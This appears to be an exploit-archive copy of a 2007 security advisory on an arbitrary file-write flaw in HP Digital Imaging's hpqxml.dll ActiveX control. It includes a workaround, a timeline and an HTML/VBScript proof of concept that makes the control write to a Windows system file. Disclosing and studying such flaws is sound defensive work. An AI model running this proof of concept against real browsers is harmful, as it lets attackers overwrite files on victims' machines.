HP Digital Imaging (hpqxml.dll 2.0.0.133) Arbitary Data Write Exploit

🗓️ 28 Jun 2007 00:00:00Reported by RootType

HP Digital Imaging (hpqxml.dll 2.0.0.133) Arbitrary Data Write Exploi


                                                :.&nbsp;GOODFELLAS&nbsp;Security&nbsp;Research&nbsp;TEAM&nbsp;&nbsp;.:
:.&nbsp;http://goodfellas.shellcode.com.ar&nbsp;.:
&lt;!--
hpqxml.dll&nbsp;2.0.0.133&nbsp;from&nbsp;HP&nbsp;Digital&nbsp;Imaging&nbsp;Arbitary&nbsp;Data&nbsp;Write
===============================================

Internal&nbsp;ID:&nbsp;VULWAR200706275.

Introduction

hpqxml.dll&nbsp;is&nbsp;a&nbsp;library&nbsp;included&nbsp;in&nbsp;the&nbsp;HP&nbsp;Photo&nbsp;Digital&nbsp;Imaging
software&nbsp;package&nbsp;from&nbsp;the&nbsp;HP&nbsp;Company.&nbsp;http://www.hp.com.
Link:&nbsp;http://www.hp.com/united-states/consumer/digital_photography/home_f.html

Tested&nbsp;In

-&nbsp;Windows&nbsp;XP&nbsp;SP2&nbsp;english/french&nbsp;with&nbsp;IE&nbsp;6.0&nbsp;/&nbsp;7.0.
-&nbsp;Windows&nbsp;vista&nbsp;Professional&nbsp;English/French&nbsp;SP1&nbsp;with&nbsp;IE&nbsp;7.0

Summary

The&nbsp;saveXMLAsFile&nbsp;method&nbsp;doesn't&nbsp;check&nbsp;if&nbsp;it&nbsp;is&nbsp;being&nbsp;called&nbsp;from&nbsp;the&nbsp;application
or&nbsp;from&nbsp;a&nbsp;malicious&nbsp;user.

Impact

The&nbsp;vulnerability&nbsp;is&nbsp;due&nbsp;to&nbsp;an&nbsp;error&nbsp;in&nbsp;the&nbsp;saveXMLAsFile&nbsp;method&nbsp;that&nbsp;manipulate
local&nbsp;files&nbsp;insecurely,&nbsp;which&nbsp;could&nbsp;allow&nbsp;malicious&nbsp;users&nbsp;to&nbsp;write&nbsp;arbitrary
data&nbsp;to&nbsp;any&nbsp;file&nbsp;on&nbsp;a&nbsp;vulnerable&nbsp;system.&nbsp;Besides,&nbsp;the&nbsp;method&nbsp;does&nbsp;not&nbsp;check&nbsp;the
file&nbsp;headers&nbsp;before&nbsp;writing.

Workaround

-&nbsp;Activate&nbsp;the&nbsp;Kill&nbsp;bit&nbsp;zero&nbsp;in&nbsp;clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3.
-&nbsp;Unregister&nbsp;hpqxml.dll&nbsp;using&nbsp;regsvr32.

Timeline

June&nbsp;27,&nbsp;2007&nbsp;--&nbsp;Bug&nbsp;discovery.
June&nbsp;27,&nbsp;2007&nbsp;--&nbsp;Bug&nbsp;published.

Credits

&nbsp;*&nbsp;callAX&nbsp;&lt;[email protected]&gt;
&nbsp;*&nbsp;GoodFellas&nbsp;Security&nbsp;Research&nbsp;Team&nbsp;&lt;goodfellas.shellcode.com.ar&gt;

Technical&nbsp;Detail

saveXMLAsFile&nbsp;method&nbsp;receives&nbsp;a&nbsp;filename&nbsp;as&nbsp;an&nbsp;argument,&nbsp;with&nbsp;this&nbsp;format&nbsp;&quot;c:\path\file&quot;.

Proof&nbsp;of&nbsp;Concept
--&gt;

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Hpqxml.dll&nbsp;2.0.0.133&nbsp;HP&nbsp;Digital&nbsp;Imaging&nbsp;Arbitary&nbsp;Data&nbsp;Write&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h3&gt;Hpqxml.dll&nbsp;2.0.0.133&nbsp;HP&nbsp;Digital&nbsp;Imaging&nbsp;Arbitary&nbsp;Data&nbsp;Write&lt;/h3&gt;&lt;br&gt;

&lt;object&nbsp;classid='clsid:9C0A0321-B328-466C-8ECA-B9A5522466D3'&nbsp;id='target'&nbsp;/&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=HP()&nbsp;type=button&nbsp;value=&quot;Proof&nbsp;of&nbsp;Concept&quot;&gt;

&lt;script&nbsp;language&nbsp;=&nbsp;'vbscript'&gt;

Sub&nbsp;HP()

&nbsp;filename&nbsp;=&nbsp;&quot;C:\NTDETECT_.COM&quot;

&nbsp;target.saveXMLAsFile&nbsp;filename

End&nbsp;Sub

&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

28 Jun 2007 00:00Current

7.1High risk

Vulners AI Score7.1